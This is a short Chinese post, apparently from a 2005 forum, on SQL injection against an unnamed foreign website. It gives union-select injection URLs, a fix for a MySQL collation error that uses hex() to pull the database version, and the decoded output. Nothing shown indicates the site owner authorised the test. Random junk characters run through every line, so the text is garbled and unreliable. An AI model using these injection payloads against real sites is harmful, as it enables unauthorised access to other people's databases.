本文作者:SuperHei& ^: T: L2 D) Q/ W9 ]; ~. d1 ]; ~9 a
文章性质:原创
# L6 M6 U% L% x- C) V! Q发布日期:2005-10-18
( E0 A+ d/ h# H( ?( z5 T: Y( T8 l测试个国外的站时:
6 l) d- t7 s5 g# a+ t, b; j# k. yurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
+ E Q. h2 ~" t( ]3 w6 A- S d3 f7 {返回错误:
" T5 A* _6 g0 w. O$ u7 n$ YIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'' o* o8 t' e" t3 _! w7 ` `
MySQL Error No. 1266 e9 r3 s( ^ T& v @& V8 p
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。0 m6 v. c' Z) A3 S1 B% X: U
解决办法:转为其他编码如hex。, `. w" V& ^1 Z! W, F `
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
% s5 y* q4 V1 c" V; L! Z- A7 A8 M成功得到hex(version())的值为:1 q9 [* V* \- g7 t' d2 H
342E312E332D62657461 f* i, C( ~& K/ p
回Mysql查询下得到:
$ y% B. J _5 amysql> select 0x342E312E332D62657461;3 ]/ c" I; h& M1 v: C
+------------------------+" ~7 _6 q- U& p$ {, P1 R2 V
| 0x342E312E332D62657461 |
/ M0 S; H1 z' B5 D& Z+------------------------+9 a9 I c( a h; Q
| 4.1.3-beta |
! Q! B, c0 M5 }0 {4 t+------------------------+$ X& d! X# W7 Z# U2 ^ m, H
1 row in set (0.00 sec)
6 D4 S% u7 ~: ]6 F. b6 ]1 J! B: h( e* }' W) r/ S8 q$ x; H- H( s
|